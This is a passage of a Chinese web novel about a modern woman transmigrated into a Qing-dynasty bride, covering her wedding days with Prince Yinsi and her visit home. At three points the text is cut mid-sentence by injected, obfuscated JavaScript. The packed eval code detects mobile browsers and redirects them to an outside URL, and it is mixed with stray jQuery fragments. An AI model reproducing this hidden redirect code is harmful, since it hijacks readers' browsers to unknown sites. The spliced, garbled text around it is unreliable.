两人赶忙上前,一个挡住高奇奇的脚,一个向胤禩解释着。 “贝勒爷,给主子脚上药的活,让奴婢来做就好。您看您今儿也走了一天的路,衣衫风尘仆仆,不如去沐浴换一身舒适的衣裳,再来看主子。”初一道。 高奇奇揪着初一的衣服,头从她腰后面露出来。 “对对对,初一说的很有道理。今儿风沙大,你看你的脸都有点黄了。”高奇奇道。 原想留下来的胤禩,一听这话,他手立马摸上自己的脸。 手指划了一把,放下来一看,真的是一手的灰。 想到自己灰头土脸的在福晋面前,晃了那么久,胤禩心如死灰。 阎进居然没有提醒他。 没长眼的奴才,要他何用! “福晋怕疼,你上药时千万要轻一些。”胤禩对初一交待道。 “福晋,我沐浴好后,就立马过来。晚膳有人去取,福晋不用操心。”胤禩道。 初一和十五让开在一旁。 高奇奇坐在贵妃榻上,晃着小腿,摆摆手,语气轻快道:“去吧去吧。” 胤禩依依不舍,一步三回头。 回头的时候,手不时的擦擦脸。 可怜巴巴的,让人心怜。 “就算是风沙在身,也不掩胤禩的绝世姿容!”高奇奇道。 胤禩霎时笑容灿烂,眼睛亮闪闪,盛着要溢出来的欢喜。 胤禩离开后,屋子里就只有高奇奇和她的自己人了。 她拽过来身后的圆枕,长长的叹了口气。 “在宫中一日,比在安王府一年过的还要漫长。时时提着心,实在累人。”高奇奇歪倒在圆枕上,面色疲惫。 初一、十五,一个给她卸着头发上的钿子,一个小心的帮她脱着靴子。 “还是拿剪刀,把靴筒给剪开吧。疼的很。”高奇奇道。 十五道:“若是别的时候,这鞋子剪了就剪了。可您这是新婚里的鞋靴,若是剪坏了,不吉利。主子,您忍一下,奴婢动作快点,只疼一下。” 高奇奇刚要点头说好,十五已经动作飞快的,拔掉一个靴筒。然后,另一个靴筒也被脱下来。 脱了鞋袜,露出一双白嫩的脚,十只脚趾头粉嫩如同一颗颗粉珍珠。 这样漂亮的一双脚,此刻却好几个地方,都磨破了皮,露出粉红色的血肉。 脱下放在一边的白色袜子,上面有着刺目的红色血迹。 初一放下了手里的钗子,不再动作,背过身子,用衣袖擦了擦眼泪。 十五更是眼泪汪汪的,眼泪啪嗒啪嗒的往地上滴。 高奇奇道:“多大的事儿啊,竟要你们哭成这样。又不是断胳膊断腿的,磨破脚而已,几天就好了。” “主子惯会逞强,您从小到大,什么时候破过皮?您说的对,这宫里真不好过。”十五泪汪汪道。 高奇奇想道,她真不是逞强。 上辈子,她被车撞的时候。 嗯?她什么时候被车撞过? 越去想,越想不出来,高奇奇的后脑勺突然一阵针扎的疼。 初一、十五不知道,以为是脚上的伤口疼。 十五撅着嘴,一脸看吧,刚才还说不疼没事的表情。 高奇奇按了按后脑勺,她确信这个身体没有撞过头。那么突然头疼,应该是头上的首饰太重了。 “初一,快帮我把发簪、钗子都卸下来,坠的我头皮疼。我也要洗洗脸,擦擦身子去。一身黄沙的味道,闻着让人想打喷嚏。”高奇奇道。 擦洗干净,高奇奇脚上裹着棉纱布,坐在梳妆台前,负责梳头的宫女,手里拿着吸水的棉布,一点一点的给她擦着头发。 及臀的长发,只靠吸水的布,干的很慢。 高奇奇胳膊撑在桌上,手托着腮,从发呆不知不觉变成睡着了。 “贝勒爷。” 宫女们看到胤禩过来,连忙停下手里的活,小声行礼。 胤禩手指立在嘴前:“嘘。别吵着福晋。” 梳妆台边上,还有一个空着的矮凳。 胤禩也不嫌弃,叉着腿坐下去,整个人逼仄的可怜。 卸了妆的女子,面容比妆后稚嫩许多,白皙的皮肤,眼底下是青黑色的黑眼圈。 她睡着时,眉心微皱,好似有哪儿不舒服。 目光往下,搭在脚踏上的脚,缠着白色的棉纱布,空气中还有药味儿。 “嗯?我睡着了?什么时候了。”高奇奇头往前冲了一下,猛的惊醒。 胤禩立马站起身,走到她身边,扶住她的身子:“没过多久,才是酉时三刻。” 高奇奇迷瞪的换算着时辰表,酉时啊,那就是快六点了。 快要到夏天了,昼长夜短,外面的天还亮着,但是时间确实不早了。 高奇奇望着胤禩,扬唇一笑:“你来了啊。” 她不知道自己这个样子,白白净净的,有多乖巧,让人想要保护。 和白日里明艳骄傲的模样,判若两人。 胤禩手随心动,摸了摸她的头发,还是蔷薇花的味道,好闻。 “饿不饿?饭菜都提来了,放在灶上热着。”胤禩道。 高奇奇甩甩脑袋,好让脑子清醒一点。 刚睡醒迷迷糊糊的状态,让她很没有安全感。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15656368|172879||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >高奇奇老老实实的感受了一下,道:“饿。” 胤禩宠溺的看着她:“那我们就去用晚膳。” 胤禩再次当了一回人力轿夫,抱着高奇奇到用膳的桌边。 这是高奇奇第一次正式的品尝宫中御膳。 以前逢年过节,由康熙赏赐送到安王府的御膳,不能算在内。那菜肴早凉了,不是很好吃。 从没开胃口,到再来一碗,不过是两道菜之后的变化。 两个人一起吃饭,就是香。 高奇奇足足吃了两碗饭,才不舍的放下碗。 其实,她还能吃的。盛米饭的碗很小,两碗是很正常的成年女性的饭量。 但是,和后宫嫔妃相比,她算是胃口很好的那一类了。 填饱肚子后,高奇奇眼睛亮晶晶的看向胤禩。 胤禩意会道:“走,去看惠额娘和额娘她们给你的见面礼。” “主子。贝勒爷。”马起云着急轻声喊着,打断胤禩的起身。 胤禩不解的看过去,这奴才要是不给个合理的解释,回头扣他半个月俸禄。 “瓶,宝瓶。”马起云比划着。 高奇奇看着胖乎乎的马起云,吃力的比划着瓶子的形状。 她扑哧一笑:“差点儿忘了,我和贝勒爷还要倒宝瓶,是不是?” “诶,福晋好记性。这是您和贝勒爷大婚的最后一个流程了。”马起云堆着笑道。 倒宝瓶,就是新人拜见过长辈后,回到新房里,将两人的衣服前襟连成一个兜儿。由人在一旁说着吉祥话,将新娘下轿时抱的宝瓶,均匀的倒在兜里。 宝瓶里面放着的,基本是黄、白两色的米,还有金银饰物。 两个新人谁的兜儿里装的饰物多,谁的福气就更大。 “把我的宝瓶拿过来。”高奇奇道。 坐在炕上,高奇奇和胤禩的衣服前襟连在一块儿。 高奇奇十分期待,她望着胤禩,放话道:“我倒要看看,是我的福气大,还是你的福气大。” 胤禩道:“大约是我的福气更大些。” “能娶到自己的心上人,这个福气难道还不够大吗?”胤禩道。 高奇奇道:“我还以为你要说,因为你是皇子呢。龙子凤孙,天底下最有福气的人,不就是生在紫禁城里吗?” 倒宝瓶的活,交由十五来做。 用胤禩的话说,十五月圆圆满,又掌管财库,屋里几个人里,由她来倒最合适。 这个理由很好很强大。 十五信心满满的捧着宝瓶,她肯定偏心主子啊。 有些东西或许真的有点儿玄妙。 最后,还是进到胤禩兜里的金银饰物更多。 不等高奇奇沮丧,胤禩捧着前襟,稍稍一倾斜,全倒进高奇奇的前襟里。 “我的福气,都给福晋。”胤禩双眸真诚。 高奇奇心动的进度表,忍不住再往前跳了一格。 才一天多的时间,就蹦了两格。即便总数是一百格,这也太快了。得停一停,冷却一下。 高奇奇靠着从黄、白米中把金银饰物挑出来,来冷静大脑。 饰物都挑出来了,她的脑子还是热度过载。 “我去看头面。”高奇奇踩着软底绣花鞋,一瘸一拐的跑走。 一定是因为刚才胤禩就在她旁边,一直对着她笑,她才没有冷静成功。 “奇奇,小心点儿!”胤禩吓的从后面追赶过来。 脚裹了那么厚的棉纱布,怎么还乱跑啊。也不怕疼的,真是孩子气。 高奇奇脚步一顿,她脑子里嗡嗡的,一片空白。 “你叫我什么?”高奇奇道。 胤禩茫然道:“奇奇。” 8. 第八章 高奇奇的脸色有些古怪,看的胤禩心慌不已。 他说错话了。 他应当先询问福晋的意见,而非自作主张。 “福晋不喜欢,我改。”胤禩不安的道。 高奇奇别过头去,表情似哭似笑。 她都快忘记自己叫高奇奇了。 在这里所有人的眼里,她只有一个名字——郭络罗·妙奇。 就连她自己说这个名字,都越说越顺口。 调整好情绪,高奇奇回过头,用力的扬起嘴角,笑容灿烂:“不用改,听得很顺耳。你就叫我奇奇。” “长辈们都唤我妙奇,你突然一声奇奇,我头一回听到,一时还以为你在叫其他人的名字呢。”高奇奇倒打一耙道。 胤禩露出放松的笑容:“怎么会。不要乱想,我只喜欢过你。汗阿玛给我赐婚时,我高兴的不知该如何是好。那天,我拉着四哥喝了整整一夜的酒,第二天上早朝差点儿迟到。” 说话间,胤禩走到了高奇奇身边。 “扶着我的胳膊走吧。你不想我总抱着你,我就不抱,你不用跑。”胤禩伸出胳膊,笑容温柔。 高奇奇手搭上他的胳膊:“你刚才说的话,我还给你。你也不要乱想。我靠自己的腿,走了二十年的路。自然是想看什么,第一反应就是自己迈腿走路。哪里是不乐意让你抱。” 这个解释很符合逻辑,挑不出毛病。 最要紧的是,这是高奇奇给出的解释。 胤禩信了。 他规矩的让高奇奇扶着自己,没有动手动脚,即使他们已经成婚。 在美丽的宝石面前,足以忘记一切烦恼。 巨龙的快乐,高奇奇此刻正在感受着。 她手指轻柔的抚摸着每一样首饰,这是以前只能在博物馆,隔着玻璃看到的奢侈饰品。 高奇奇欣赏着首饰,胤禩目光专注的看着她。 他们都在欣赏着自己眼里最美的存在。 夜渐渐深了,初一、十五、阎进都退出去了屋子。 白日里得到的赏赐,也都归纳放进箱子里。 布置喜庆的喜床,旁边是红色的龙凤蜡烛。 换上寝衣后的两人,坐在床上,一时之间,莫名的都没有说话。 焦躁的空气中,散发着胡椒的辛辣香味。压抑的呼吸声,似干柴烈火,一触即发。 高奇奇主动开口,打破寂静道:“胤禩,你说你对我早有爱慕。可是我的记忆中,并不曾和你有过直接的交集。” “你会不会认错人了?”高奇奇道。 如果你把我当作郭络罗·妙奇,我也不失望。她是个很好的女子,我甚至为我抢了她的人生,感到羞愧。 这本是她的姻缘。 在历史之中,你们夫妻感情之好,好到无人能够质疑。 可我找不着她在哪里,我甚至不知道,为什么自己会出现在她的身体中。 胤禩透过烛光,看到她眼里的忐忑不安。 他心疼不已,她那么骄傲的一个人,不应该有这样的表情。 她应当是永远骄傲着的、自信昂扬的,像是最热烈的火焰一样。 “两年前。康熙三十四年的三月十九,那天阳光特别好,安王府花园里的花,开的十分漂亮。你穿着石榴红色的旗装,拿着团扇,一盆一盆花的找着蝴蝶。”胤禩看着高奇奇的眼睛,缓缓说道。 高奇奇心中的愧疚消减,原来真的是她啊。 她笑盈盈看向胤禩,眼神不再躲闪,神情坦荡。 她不是一个窃居者就好。 “我当时就在想,蝴蝶不是这样扑的。这位安王府的格格,怕是要无功而返,白晒一上午的太阳。”胤禩的笑容温柔缱绻。 高奇奇梗着脖子,连忙打断辩驳道:“不可能,我那天最后扑到了一支黑蓝色花纹的蝴蝶,又大又漂亮。我把它放在纱帐里,盯着它看了一下午,才将它放出去。” 高奇奇记得那天。 若说别的事情,她未必能记住。可那天穿的那件旗装,她很喜欢。石榴红的颜色,绚丽夺目,十分漂亮,是她等了好几个月的料子做成的。 胤禩拍拍她的脑袋,宠溺笑道:“是啊,幸亏最终成功了。若不然,让那么漂亮的姑娘,无功而返,心情失落。该是多大的罪过。” 高奇奇掩唇,咯咯直笑。 “难怪惠额娘说你从小嘴甜会哄人。小时候哄长辈,长大了哄姑娘。”高奇奇道。 胤禩哑然失笑,但不否认。 以防万一,高奇奇继续问道:“在那次之前,你还见过我吗?汗阿玛说的那回不算,一个婴儿,一个小孩子,都没有记性。” 胤禩思索一二,斟酌道:“在往年宫宴时,也许遇上过。不过,皇子和女眷的宴席位置,隔的有些远。应该还是没见过的可能性更大一些。” “虽不曾见过,却有所耳闻,安王府里有一位表姑娘,很得安亲王的喜爱。”胤禩道。 高奇奇笑道:“你是不是少加了一句,父母双亡,身世可怜。” “没能有父母陪伴,确实会有失落。但是,安王府的长辈们都很疼爱我,同辈兄弟姐妹们也总让着我,我得到的爱并不少。”高奇奇道。 胤禩道:“我知道。这么明媚的姑娘,如果不是被宠爱着长大,又怎么会出落的如此自信大方。” 高奇奇笑到眼睛眯成了一双弯月牙。 “好听,会夸就多夸点。”高奇奇道。 胤禩听了后,笑个不停。 “我头一回见你的地方,你定然不知。”高奇奇把腿挪上床,双手抱住膝盖。 胤禩惊讶:“奇奇见过我?难道是我去安王府那回,奇奇看到我了?” 高奇奇洋洋得意的摇摇头:“不是哦。是被指婚后,我随二舅母进宫给太后请安。应当是太后安排好的,我到了没多久,就听到太监唱声‘八阿哥给太后请安’。” “当时,我就坐在屏风后面,偷偷的看着你呢。”高奇奇道。 “胤禩,我们只各自见过一面。今晚,能不能先不洞房啊?”高奇奇说出了心中所想。 胤禩眼眸讶异的抬了一下,旋即身子往前倾了倾,温柔的抱住她。 “奇奇一整晚都在担心这件事情吗?”胤禩问道。 “我并非是不愿意和你成亲。如果是必须要成亲,我想不到有比你更好的人。无关皇子的身份,只是你这个人。但是,我有些害怕。才相识,就要亲密无间的。”高奇奇下巴磕在胤禩的肩上。 胤禩轻抚着她的后脑勺,长发顺滑的散下来,和盘起头发时的满头珠翠不同。 “奇 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15656369|172879||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 奇对我是有好感的。”胤禩道。 高奇奇道:“虽然没有一见倾心,但是再见有动心的。你那么好,很难让人不喜欢吧。” 胤禩松开胳膊,端正的坐好。 “有这句话就够了。”胤禩十分高兴。 “奇奇啊,你当我是什么禽兽不如的人啊。你的脚伤成了这样,我还想着洞房?我等你,等你脚好了,等你不害怕了。”胤禩道。 高奇奇弯唇一笑:“好!一言为定!我就知道,我的夫婿天下第一好!” “胤禩,今晚我们还出去看星星吗?不用一个在房间里,一个蹲在窗户下了。我们爬上屋顶,躺在屋顶上看星星吧!”放松下来的高奇奇,想一出是一处。 胤禩道:“如果今晚我们爬上屋顶,大概夜里人就到了忘川河畔了。” “啊?”高奇奇瞪圆了眼睛。 “宫里巡逻的侍卫,会用弓箭把我们穿成筛子的。”胤禩道。 皇宫内院的屋顶,除了鸟和猫,只有刺客会在上面跑。 高奇奇讪笑着:“那还是不必了。今天的星星,可能不那么好看,下回再说吧。” 一夜睡醒,高奇奇看着自己小腿搭在胤禩的大腿上,表情呆滞。 她特意拿了两床被子,和胤禩一人一床被子睡的。怎么醒来以后,成了一个被窝,勾勾搭搭的。 而且,还是她搭着胤禩。 高奇奇心虚的悄悄抬起腿,把腿从胤禩身上挪开。 再默默的翻了个身,把被她挤到床角的被子扯回来,平整盖好。 等她一通动作做完,脸上憋的通红,后背也直冒汗。 “奇奇,你醒了吗?”胤禩的声音,从高奇奇耳边响起。 高奇奇揉了揉眼睛,嘤咛一声:“到了早上了吗?要起床了吗?” 怪会装模作样的。 胤禩忍俊不禁,不戳穿她。 他很早就醒了。 早朝要早起,他习惯了天微微亮就醒来。 醒来后,发现自己被身侧之人手脚并用的紧紧缠住,一扭头,面上就能感受到喷薄的温热呼吸,他开心的一动不敢动。 生怕自己动了,把人给吵醒。不仅不能贴在一起,万一奇奇恼了,明晚要和他分屋睡,那才是后悔莫及。 胤禩是个白切黑的狡诈狐狸,偏偏高奇奇以为这是只无害的微笑天使萨摩耶。 “胤禩,没想到你睡觉这样不安分,还踹被子呢。好在天要热了,不盖被子也没事儿。”高奇奇坐起身,看到胤禩身上的被子,歪歪斜斜的,她义正言辞。 胤禩故作奇怪道:“是这样吗?我以前睡觉一向规矩,这还是头一回踹被子。让奇奇担心了,今晚睡觉我一定注意。” “嗯,今晚你要注意一些,夜里还是有些凉的。”高奇奇顺着话道。 “诶,不对。今晚还一起睡?”高奇奇睁大眼睛。 胤禩一脸无辜:“大婚三天,这三天里,新婚夫妻都要睡在一块儿的。” “奇奇要是觉得不习惯,我今晚就打地铺吧。反正,前儿也在地上睡的,虽然地板硬了些,但是我能适应的。”胤禩道。 提到成婚的第一晚,高奇奇说不出拒绝的话。 “没有不习惯。有床当然睡在床上了,我信你,你是正人君子。”高奇奇道。 9. 第九章 因为脚伤,高奇奇每天过着翘着脚,能不动就不动的悠闲日子。 不知不觉,胤禩在她屋里,已经歇了八天。 人的底线,就是这样一点一点被磨灭的。 渐渐的,胤禩上床的时间晚了,高奇奇反而一个人睡不着。 回门的日子近在眼前,高奇奇脚上的疤,也脱了痂壳。 两人谁也没提洞房的事情,只是,平日里的动作接触,更亲密了些。 回门日当天,一大早天没亮,胤禩就起床了。 心里紧张的他,先去后院跑了两圈,又打了一套拳,还嫌不够,再去院子里重新清点了一番带去安王府的回门礼。 能忙完的都忙完了,转了一圈回来的胤禩,蹲坐在脚踏上,眼睛一眨不眨的,深情看着还在睡梦中的高奇奇。 “奇奇,该起床了。”等了一会儿后,估摸着时间差不多了,胤禩才舍不得的喊道。 若是可以,他不想扰奇奇美梦。 高奇奇眯着眼睛,迷瞪道:“天亮了?” 缓了一会儿,她彻底清醒过来。 “糟糕,今天是回门的日子。我还要梳妆打扮,啊,迟了迟了,来不及了。” “胤禩,如果二舅母责骂我,你一定要替我拦着啊。你是外甥女婿,她不好说你的。”高奇奇急忙从床上弹起来,掀起被子往外冲。 冲的太快,下床时一脚踏空。 胤禩身姿敏捷的,迅速挡在前面,肚子挨了高奇奇的一记头槌。 胤禩的肚子没有痛,倒是高奇奇头撞懵了一会儿。 “胤禩,你的腹肌可真硬啊。”高奇奇道。 胤禩笑着揉揉她的头,不提她昨夜偷偷摸他肚子的事情。 “不会迟的,时间我估算好了,保证来的及。如果真的迟了,我和舅舅、舅母们解释、认错,保准不让你挨骂。”胤禩弯下腰,拾起绣鞋给她穿好。 高奇奇眼睛一弯,满足的笑的像只小狐狸。 “那多不好意思啊。”高奇奇假惺惺道:“如果你真的替我挡住了责骂,回来后我必有重谢!” 当马车行至安王府的大门前,高奇奇佩服的向胤禩竖起大拇指。 “还得是你!真的没有迟!胤禩,你太厉害了!”高奇奇连声夸道。 胤禩脸上顿时笑开了花,谦虚道:“哪里哪里。” 安王府从几日前,就开始忙里忙外的。待客宴席的菜,都试尝了三回,菜单添来加去,只为今日接待好回门的大姑奶奶和姑爷。 有胤禩的皇子身份因素在,但是更重要的还是高奇奇。 打小在身边长大的孩子,从话都说不清楚,走路跌跌撞撞,长成到如花似玉的大姑娘。除了不是从自己肚皮里出来的,其他和亲生的有什么区别。 甚至,比亲生的更贴心,让人喜欢。 安王府当家作主的女主人疼爱谁,府里的风向就向着谁。 “快快快,八贝勒乘的车架已经到巷子口了。” 等着高奇奇和胤禩回门的安王府亲眷,连忙互相看了看,检查一番仪容穿戴后,仪态优雅的站在前院。 马车停下,胤禩先下马车,然后再扶着高奇奇下车。 等候在门口的安王府下人,连忙上前行礼。 “奴才给八贝勒、八福晋请安。” “起来吧。”胤禩道。 安王府下人在前带路,胤禩和高奇奇从正门而入。 两车的回门礼,一箱一箱的从角门往安王府里运。 看的安王府的奴才,连声直道:“八福晋真得八贝勒和宫中看中,竟然带回这么多回门礼。” “妙奇/胤禩给二舅舅、二舅母,四舅舅、四舅母,五舅舅、五舅母,六舅舅、六舅母问安。”高奇奇和胤禩进门之后,立马向长辈们行礼问安。 二舅舅安郡王站在最前面,他是安王府的家主。 二舅母安郡王福晋陪同在旁,面露欣慰的笑容。 这些天她担心坏了,时常夜里梦中惊醒,梦到外甥女在宫中寻死觅活,不愿意和八贝勒一起过。 现在看来,出嫁前闹着的“不嫁”,只是是小女孩儿未出嫁前对成婚和未来的恐惧。 瞧瞧,小两口手牵的紧紧的。这感情啊,好的让人眼热。 “诶,都起来,都起来。自家人,不用这么讲规矩。”安郡王福晋伸手虚虚托起高奇奇。 “早点用了没有?八贝勒,一起移步到饭厅用点儿早点,也尝尝我安王府厨子的手艺。”安郡王对胤禩道。 胤禩吃过了一些,但是只能说没有。 怎可拂长辈的好意。 高奇奇也是一样,她闲适的喝了一盏燕窝粥,又吃了两个汤包,才出门的。 好在两人吃的不多,一路上消化了些,还可以再用一点儿。 一群人走到饭厅时,点心、面食、粥汤已经摆好在桌上,只等众人落座。 高奇奇和胤禩坐在安郡王福晋的旁边,位次越过了其他几位舅舅。 哪怕是晚辈,也不能让皇子坐在下位。 “二舅母,桌上大多都是我喜欢吃的早点。”高奇奇看了眼桌子,感动道。 安郡王福晋夹了一筷子虾饺,放到高奇奇跟前的碗里:“一早捕捞的新鲜河虾,尝尝看,味道有没有变。” 说罢,安郡王福晋让侍女,给胤禩也夹了一个虾饺。 “八贝勒也尝尝。妙奇除了喜爱华服美饰以外,就对美食品鉴颇为上心。安王府里的厨子,没少被她挑剔过。她舌头尖,总能把问题说到点子上。厨子的手艺年年进步,让一家子人跟着沾了光,顿顿是美食美味。”安郡王福晋道。 安郡王道:“何止是品鉴,妙奇跟着府里的厨子,还学了两道拿手菜。去年她外祖母过寿时,她还亲手做了汤羹和面点,献给了老太太。可把老太太给高兴的,直夸满府里,外孙女最贴心。” 安郡王所说的外祖母,便是老安王福晋,并非是老安王侧福晋。 高奇奇羞涩的笑着,安静听着长辈们夸她,做足了乖巧的表现。 长辈们为她搭台子,铆足了劲从各方面夸她,她不能拆台。 而且,说的也都是事实。 高奇奇捧着小脸,乐陶陶的想着,原来她这么好的呀。 胤禩十分感兴趣的听着,了解着不一样的高奇奇。 “奇奇,你真的很好!”每听到一桩新鲜事,胤禩就忍不住再夸一遍高奇奇。 他歪着头,凑在高奇奇耳边,不时小声说话,小动作被长辈们尽收眼底。 特别是四舅舅和四舅母,坐在他们正 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15656370|172879||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 对面,想视而不见都不行。 “二哥、二嫂,你们瞧瞧,还是新婚的小两口最甜蜜。这就说起了悄悄话呢!”四舅母打趣道。 四面八方投来的揶揄的眼神,高奇奇和胤禩两个人招架不住,双双脸红,坐在桌前像两颗无助的红番茄。 “舅舅、舅母们,你们别打趣我。您看,我的脸烫的都能煎鸡蛋了。你们逗贝勒爷去吧,他扛得住。”高奇奇决定牺牲队友。 死道友不死贫道。 感谢你,胤禩。今日,你先替我抵挡长辈们的热情。来日,我必有厚报。 “这孩子,刚夸你成婚后稳重了许多,又说淘气话了。”安郡王福晋嗔怪道。 桌上的早点,仿佛没人动过一般。 其实,人人都吃了几样,只是准备的太多了。吃的再多,也不见减少。 “爷,外甥女婿就交给你和几位小叔子了。我和弟妹们带妙奇回她出嫁前的院子坐坐。”安郡王福晋道。 安郡王自然说好:“你们去吧。外甥女婿,我们到前厅去说说话?” “听二舅舅安排。”胤禩道。 两人分离在即,高奇奇在桌子下,偷偷牵住胤禩的手。 “保重。文人说话弯弯绕绕的,你小心些。”高奇奇提醒道。 胤禩弯眸浅笑:“好,我会保重的。” 胤禩跟着安郡王,还有其他几个舅舅,去前厅说话。 高奇奇则被安郡王福晋她们拉走。 这么分开,是为了以防回门的姑奶奶,在夫家受了委屈,但是碍于夫婿在旁边,不好向娘家人诉苦。 也方便娘家的男性长辈,对新女婿敲打一番,让女婿好好对待自家女孩儿。 “别回头望了。你舅舅们不是会吃人的饿狼,八贝勒不会有事的。”高奇奇不时回头去看,安郡王福晋忍不住说道。 高奇奇连忙扭回头,挽上安郡王福晋的胳膊,撒娇道:“二舅母,您这么一说,我就更觉得可怕了。舅舅们是不是摩拳擦掌的想了好久,要怎么为难。啊不,考校贝勒爷啊。” 高奇奇临时换词,逗乐了几位舅母们。 “二嫂,您听听,这姑娘嫁出门,胳膊肘就往外拐了。亏咱们还担心会不会想家。瞧瞧这小脸红润的,气色养的比家里还好。宫里的风水真是养人啊。”四舅母道。 除去三舅母外,二舅母、四舅母、五舅母、六舅母的夫婿,都是同母的亲兄弟。平日里交往走动的更加亲近些。 三舅母的夫婿,是庶福晋之子,安亲王岳乐逝世后,就被分出府去。前阵子三舅舅病了,因而三舅母今日没有过来。 五舅母接话道:“宫里我是没去过几次,但是,我可以肯定,八贝勒一定会疼人。你们瞧见了没,打从进门起,八贝勒一直牵着咱们妙奇的手,都舍不得放开。” “可不是么。出嫁前咱们大格格还眼泪汪汪的,说着不想嫁人。现在这小嘴啊,都要笑的咧到耳后根去了。”六舅母道。 舅母们你一句我一句的打趣,硬是让高奇奇插不进去话。 失策了,她单想着舅舅们会考验新女婿,却忘了舅母们这边也不好应付。 高奇奇索性躺平摆烂。 这点儿阵仗算什么,她堂堂5g网速冲浪种子选手,什么虎狼之词没听过。 10. 第十章 当被调侃的人,脸皮厚刀枪不入的时候,调侃的人就会觉得无趣,十分乏味。 舅母们收了她们的神通,不再逗脸皮薄的刚出嫁小姑娘。 太没有成就感了,没意思。 看到外甥女眉宇间没有愁意,她们这些长辈就放心了。 高奇奇出嫁前住的院子,还是原模原样,摆设一点儿没变。 仔细看过去,花瓶里插的花,花瓣鲜嫩,一看便知是今天一早刚摘的。 屋子里也没有灰尘的味道,定然是每天都有人洒扫。 坐在熟悉的桌前,茶水点心还是记忆中的味道。 “二舅母,还是家里好。”高奇奇脸埋在安郡王福晋怀里,闷声闷气道。 在家里怎么调皮,最多不过是被打手板心。 在宫里要是做错了事情,后果严重。 高奇奇突然而来的脆弱,把几位舅母吓坏了。尤其是安郡王福晋。 “好孩子,是不是在宫里受委屈了?告诉二舅母,二舅母替你找上门去。只要不是皇上和太后,咱们哪个都不怕。”安郡王福晋蹭的一下火气直冒。 她用心教养大的姑娘,自己平日里连大声说话都舍不得,把人品教养的贵重,出嫁时更是带上厚重嫁妆,到死都可以不用夫家的一根筷子、一粒米。 这样好的姑娘,嫁过去都要被欺负,那夫家还是人吗? 高奇奇依偎在安郡王福晋的怀里,一动不动,像只头埋在沙子里的鸵鸟。 “我不想给二舅母添麻烦。”高奇奇道。 安郡王福晋和几位妯娌对视一眼,四舅母微微颔首,带着五舅母、六舅母离开。 “这里就只有二舅母了,咱们娘俩儿有什么话是不能说的。”安郡王福晋道。 高奇奇觉得,二舅母应该是想说:我乃国舅爷之女,皇上的亲表妹,什么人是不能得罪的。 安郡王福晋身上淡淡的玫瑰香味,馥郁温暖,是想象中母亲怀抱的味道。 高奇奇红了眼眶:“其他人都挺好的,贝勒爷也好。” 安郡王福晋道:“那就是宫里的娘娘为难你了。是你的哪位婆母?惠妃还是卫嫔?” “都不是。是荣妃。”高奇奇道。 安郡王福晋蹙起眉头,她甚至怀疑自己听错了。 荣妃和外甥女婿八杆子打不着的关系,一个庶母去为难庶子的媳妇儿。是不是有毛病啊。 可不就是有毛病么。 高奇奇把心里的苦水,全吐出来。 “我就不明白了,我哪儿招了她的眼。起先我还以为她是个好人呢,说话也挺和善的。结果,礼行完没多久,就直言让我给贝勒爷纳妾,我不纳,就是不贤惠,好妒。”高奇奇道。 “我就是不贤惠,就是好妒,怎么了?男人和茶杯,不能与人共享。想让我郭络罗·妙奇给自己夫君纳妾,死了也不可能。”高奇奇道。 “呸呸呸,小孩儿不懂事,说胡话呢。妙奇,快呸掉。说什么死不死的,不吉利。”安郡王福晋道。 高奇奇被安郡王福晋凶狠的眼神压着,只能跟着呸三下。 “八贝勒当时怎么说?惠妃和卫嫔呢?”安郡王福晋道。 “贝勒爷比我还先站起来,想要回绝荣妃,我把他按下了。他在前朝,名声比我重要些。荣妃到底是庶母,要是起了冲突,荣妃向汗阿玛告状,我岂不是误了贝勒爷的前程。为了这种事,不值当。对方是茅坑,我不能把自己人往里面推,多恶心啊。”高奇奇道。 见安郡王福晋表情一言难尽,高奇奇心虚道:“话糙理不糙。” 安郡王福晋这时候不愿意和她计较这些,都嫁人了,不在跟前不好管。 “你这么做是对的。”安郡王福晋道。 被二舅母夸了,高奇奇喜滋滋的扬起头,小骄傲了一下。 她也觉得她做的可好了。 高奇奇继续道:“因着,荣妃话一说出口,我就站起来回话,和她直接对上。惠额娘和额娘没来得及拦她。又见我没落下风,便没有出声,只作旁观。” “这事儿荣妃不占理,我当时哭闹着说要找汗阿玛要和离书,把荣妃给吓坏了。后来嘛,我就被贝勒爷拉走了。等回去后,看到荣妃送来好大一份赏赐。其中有一副蓝宝石头面品相珍贵,应当能让荣妃心疼许久。”高奇奇自觉她这一仗赢得漂亮。 她可是让康熙的后妃吃瘪了。说是补偿,那不就是赔礼么。 安郡王福晋恨铁不成钢的瞪了她一眼:“我教你的东西,你都学到狗肚子里去了。在家中的时候,不好好学习,现在到了宫里,你再不长进,我看你骨头都要被吃干净。 高奇奇无措的看着安郡王福晋,大大的眼睛,被眼泪刚洗刷过,明亮澄净。 